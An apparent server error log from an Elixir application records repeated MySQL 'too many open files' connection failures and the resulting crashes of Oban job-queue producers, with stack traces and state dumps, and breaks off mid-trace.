State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:59:26.238058Z], limit: 10, uuid: "e2bbc872-548a-4281-b2d9-bf6adad32f57", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:26.238065Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41435>, refresh_timer: #Reference<0.2525715032.1068498948.41418>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:42.652000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:48.160000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:48.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:49.263000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:50.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:59:38.239886Z], limit: 10, uuid: "b96f16f5-d4b4-41f4-8d25-ba72715b73ad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:38.239891Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151248>, refresh_timer: #Reference<0.2525715032.1099431938.38823>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:59:38.239378Z], limit: 20, uuid: "20fb8291-1f0a-4350-81d1-7988c362846d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:38.239383Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151249>, refresh_timer: #Reference<0.2525715032.1077673987.15363>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:59:38.239603Z], limit: 5, uuid: "357f8037-1327-4838-b0a1-99ed162402ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:38.239608Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151250>, refresh_timer: #Reference<0.2525715032.1077673987.15373>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:59:38.239254Z], limit: 3, uuid: "1be07ec2-a1d0-4c96-aef1-206c89a0187b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:38.239260Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151252>, refresh_timer: #Reference<0.2525715032.1077673987.15360>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:59:38.239622Z], limit: 5, uuid: "b1c045b7-4549-444e-8e77-da831578e5d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:38.239628Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151251>, refresh_timer: #Reference<0.2525715032.1077673987.15377>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:59:38.238556Z], limit: 50, uuid: "10efc44a-32f0-437d-a0ce-f3c855b6e6b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:38.238567Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151253>, refresh_timer: #Reference<0.2525715032.1068498948.41510>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:53.834000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:56.236000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:58.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:58.711000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:00.653000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:59:50.240161Z], limit: 3, uuid: "e690f920-afe4-4de9-8263-f4a2b7f193d5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:50.240169Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151692>, refresh_timer: #Reference<0.2525715032.1121189889.151664>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:59:50.239790Z], limit: 5, uuid: "4fbebf9f-76fb-4fc7-b247-a48d3033a529", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:50.239797Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151693>, refresh_timer: #Reference<0.2525715032.1099431938.38947>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
